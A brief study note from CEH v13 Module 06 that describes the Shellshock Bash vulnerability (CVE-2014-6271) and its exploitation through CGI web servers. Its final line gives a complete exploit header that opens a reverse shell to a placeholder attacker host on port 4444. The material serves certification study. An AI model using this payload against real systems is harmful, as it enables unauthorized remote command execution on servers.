In CEH v13 Module 06: Malware Threats, the Shellshock vulnerability (CVE-2014-6271) is described as a severe bug in the Bash shell where specially crafted environment variables could be used to execute arbitrary commands.

The most common attack vector: Web servers using CGI scripts written in Bash.

Attackers send malicious HTTP requests to CGI endpoints where Bash executes commands.

Exploitation looks like:

User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1